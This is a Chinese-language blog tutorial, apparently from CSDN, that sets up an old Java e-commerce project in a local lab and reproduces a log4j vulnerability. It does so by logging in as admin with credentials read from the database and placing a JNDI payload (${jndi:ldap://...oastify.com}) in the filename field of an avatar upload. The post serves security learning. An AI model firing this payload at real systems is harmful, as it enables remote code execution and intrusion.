log4j代码审计漏洞复现

256 篇文章 2 订阅
161 篇文章 0 订阅

首先声明一下,这是一套老源码了,本人只是跟着网上的步骤复现了一遍,主要目的还是面向毫无基础的xd,教学简单的java站怎么自己搭建,不至于代码审计的第一步就废了,本人也是摸着石头过河的,大佬勿喷。

**####################前期环境准备#####################
**

jdk:没有jdk的小伙伴可以去oracle官网下载,最好是下载1.8的,下载后添加环境变量,cmd执行:java -version,出现如下界面就算配置好jdk了:

项目源码:https://github.com/robin-liyong/-Mini-Tmall-。解压后放入小皮根目录,修改网站根目录为源码目录:

把目录下的sql文件拖到桌面,以方便导入,在桌面打开cmd,命令行链接mysql数据库,创建数据库并导入sql文件:

执行 create database tmalldemodb;创建名为tmalldemodb的数据库

先后执行:

use tmalldemodb;

source tmalldemodb.sql;

修改源码中的数据库连接密码为自己的mysql连接密码(本人root/root),

然后本地用idea打开项目文件:

等待idea完成项目构建,加载配置,idea打开项目时会自动加载,耐心等待,加载完成后,源码目录下会生成成一个编译好的target文件:

加载完成后,idea会自动配置项目的主类并加载好,可直接运行:

查看本地ip:

访问 http://192.168.0.181:8080/tmall/,至此搭建完成

**######################漏洞复现###################
**

idea全局文件搜索logger.info:

注意originalFileName,该变量可控 ,往上看,该变量的值为

String originalFileName = file.getOriginalFilename();

可见由originalFileName的值file.getOriginalFilename()方法得来,以下是gpt的解释和代码示例:

主要方法``MultipartFile 提供了一些常用方法,用于处理上传的文件:``   ``getOriginalFilename():返回原始文件名。``getName():返回表单中参数的名称。``getContentType():返回文件的 MIME 类型。``getBytes():以字节数组的形式返回文件内容。``getInputStream():返回文件内容的输入流。``isEmpty():判断文件是否为空。``transferTo(File dest):将上传的文件写入到目标文件。``使用示例``以下是一个完整的文件上传示例,展示了如何在控制器中使用 @RequestParam MultipartFile file 接收文件,并将其保存到服务器:``   ``前端 HTML 表单``html``复制代码``<!DOCTYPE html>``<html>``<head>`    `<title>文件上传示例</title>``</head>``<body>`    `<form action="/upload" method="post" enctype="multipart/form-data">`        `<input type="file" name="file">`        `<input type="submit" value="上传">`    `</form>``</body>``</html>

file.getOriginalFilename()将会获取表单中name="file"的值,实际情况中"file"是什么值就会获取什么值,往上定位,发现该接口为管理员头像上传接口

接口路由:admin/uploadAdminHeadImage,访问这个接口上传头像需要登录后台,连接一下数据库查看后台密码:

拼接路由访问后台:

三个管理员账号密码随便选一个登陆,这里我用的第一个:1209577113/xq,来到上传头像处上传头像并抓包(记得把插件、bp的抓包端口改成8080以外的端口,8080端口已经被项目占用,无法抓包):

file.getOriginalFilename()将会获取上图表单中标记的filename的值并赋值给变量originalFileName,既然如此,将"test.png"改成log4j的验证POC即可:

用bp自带的dnslog获取子域名,POC验证:${jndi:ldap://9u4h9dv6vmqrghww86xwpfdzkqqge5.oastify.com}

验证成功!
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值